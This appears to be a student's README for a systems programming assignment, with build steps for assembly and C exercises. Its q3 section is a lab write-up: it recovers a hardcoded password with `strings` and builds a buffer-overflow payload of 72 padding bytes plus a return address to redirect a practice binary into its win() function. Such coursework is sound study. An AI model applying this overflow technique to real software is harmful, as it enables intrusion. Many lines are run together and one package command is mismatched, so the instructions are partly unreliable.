Run all commands from the repository root:
cd "/home/divyansh/Semester4/CSO/assignment /ass2/assignment-2-Divyansh-Atri"sudo dnf update
sudo dnf install -y build-essential gdb binutils python3q1.s defines functions (make_node, insert, get, getAtMost) and is usually linked with a C test driver.
gcc -c q1/q1.s -o q1/q1.oIf you have a C test file like q1/test_q1.c:
gcc q1/test_q1.c q1/q1.o -o q1/q1_test
./q1/q1_testgcc -no-pie q2/q2.s -o q2/q2Pass integers as command-line arguments:
./q2/q2 4 5 2 25
./q2/q2 13 7 6 12Both binaries are pre-built by the GitHub Actions workflow and placed at
q3/a/target_Divyansh-Atriandq3/b/target_Divyansh-Atri. The full disassembly of each binary is saved inq3/a/dump.txtandq3/b/dump.txt.
file q3/a/target_Divyansh-Atri
# ELF 64-bit LSB executable, x86-64, dynamically linked, not strippedstrings q3/a/target_Divyansh-AtriThis immediately revealed the hardcoded password in plaintext:
D!vy4nsh_4tr1
Access granted!
Wrong password!
objdump -d q3/a/target_Divyansh-Atri > q3/a/dump.txtKey section in main (at 0x400496):
; fgets(input, 256, stdin)
4004b7: call 400390 <fgets@plt>
; strcspn to strip newline
4004cb: call 400380 <strcspn@plt>
; strcmp(input, 0x40126a) ← address of the password string
4004df: mov $0x40126a,%esi
4004e4: mov %rax,%rdi
4004e7: call 4003a0 <strcmp@plt>
; if strcmp == 0 → "Access granted!" else "Wrong password!"
4004ec: test %eax,%eax
4004ee: jne 4004fc
4004f0: mov $0x401278,%edi ; "Access granted!"
4004f5: call 400370 <puts@plt>The password string at 0x40126a is D!vy4nsh_4tr1 — exactly what strings found.
echo "D!vy4nsh_4tr1" > q3/a/payload.txt./q3/a/target_Divyansh-Atri < q3/a/payload.txt
# Access granted!The binary has an intentional stack buffer overflow that we exploit to redirect
execution to the hidden win() function.
objdump -d q3/b/target_Divyansh-Atri > q3/b/dump.txtRelevant functions extracted from the disassembly:
0000000000400486 <win>:
400486: push %rbp
400487: mov %rsp,%rbp
40048a: mov $0x4011e8,%edi ; "You win!"
40048f: call 400370 <puts@plt>
400494: mov $0x0,%edi
400499: call 400390 <exit@plt>
000000000040049e <vuln>:
40049e: push %rbp
40049f: mov %rsp,%rbp
4004a2: sub $0x40,%rsp ← allocates 64 bytes (0x40) for buf
4004a6: lea -0x40(%rbp),%rax ← buf starts at rbp - 0x40
4004aa: mov $0xc8,%edx ← reads 200 bytes (0xc8)!
4004af: mov %rax,%rsi
4004b2: mov $0x0,%edi
4004b7: call 400380 <read@plt> ← read(0, buf, 200) — intentional overflow
4004bc: nop
4004bd: leave
4004be: ret ← return address is what we overwriteThe stack frame inside vuln() looks like this:
Low address
┌──────────────────┐ ← buf starts here (rbp - 0x40)
│ buf[64 bytes] │
│ │
├──────────────────┤ ← rbp (saved base pointer, 8 bytes)
│ saved RBP │
├──────────────────┤ ← rbp + 8
│ return address │ ← we want to overwrite THIS with win()
└──────────────────┘
High address
- Buffer size: 64 bytes (
sub $0x40,%rsp) - Saved RBP: 8 bytes
- Total padding before return address = 64 + 8 = 72 bytes
From the disassembly above:
win() is at 0x0000000000400486
The binary is compiled with -no-pie -fno-PIE so this address is fixed (no ASLR for
the binary itself).
python3 -c "
import struct
# 72 bytes of padding + win() address in little-endian (8 bytes)
payload = b'A' * 72 + struct.pack('<Q', 0x400486)
with open('q3/b/payload', 'wb') as f:
f.write(payload)
print(f'Payload: {len(payload)} bytes written')
"Payload breakdown (hex):
4141...41 (72 bytes of 'A' — fills buf + saved rbp)
8604400000000000 (0x400486 in little-endian — jumps to win())
./q3/b/target_Divyansh-Atri < q3/b/payload
# You win!The return address of vuln() is overwritten with 0x400486, so when ret
executes, it jumps straight into win() instead of returning to main().
gcc q4/q4.c -ldl -o q4/q4Create one shared library per operation (example files shown below).
cat > q4/add.c << 'EOF'
int add(int a, int b) { return a + b; }
EOF
cat > q4/sub.c << 'EOF'
int sub(int a, int b) { return a - b; }
EOF
cat > q4/mul.c << 'EOF'
int mul(int a, int b) { return a * b; }
EOF
cat > q4/div.c << 'EOF'
int div(int a, int b) { return (b == 0) ? 0 : a / b; }
EOF
gcc -shared -fPIC q4/add.c -o q4/libadd.so
gcc -shared -fPIC q4/sub.c -o q4/libsub.so
gcc -shared -fPIC q4/mul.c -o q4/libmul.so
gcc -shared -fPIC q4/div.c -o q4/libdiv.socd q4
echo "add 10 20" | ./q4
printf "add 10 20\nsub 9 3\nmul 7 8\ndiv 100 5\n" | ./q4
cd ..gcc -no-pie q5/q5.s -o q5/q5Program reads input.txt from the current working directory.
echo "racecar" > q5/input.txt
cd q5
./q5
cd ..Try non-palindrome:
echo "hello" > q5/input.txt
cd q5
./q5
cd ..gcc -c q1/q1.s -o q1/q1.o
gcc -no-pie q2/q2.s -o q2/q2
gcc q4/q4.c -ldl -o q4/q4
gcc -no-pie q5/q5.s -o q5/q5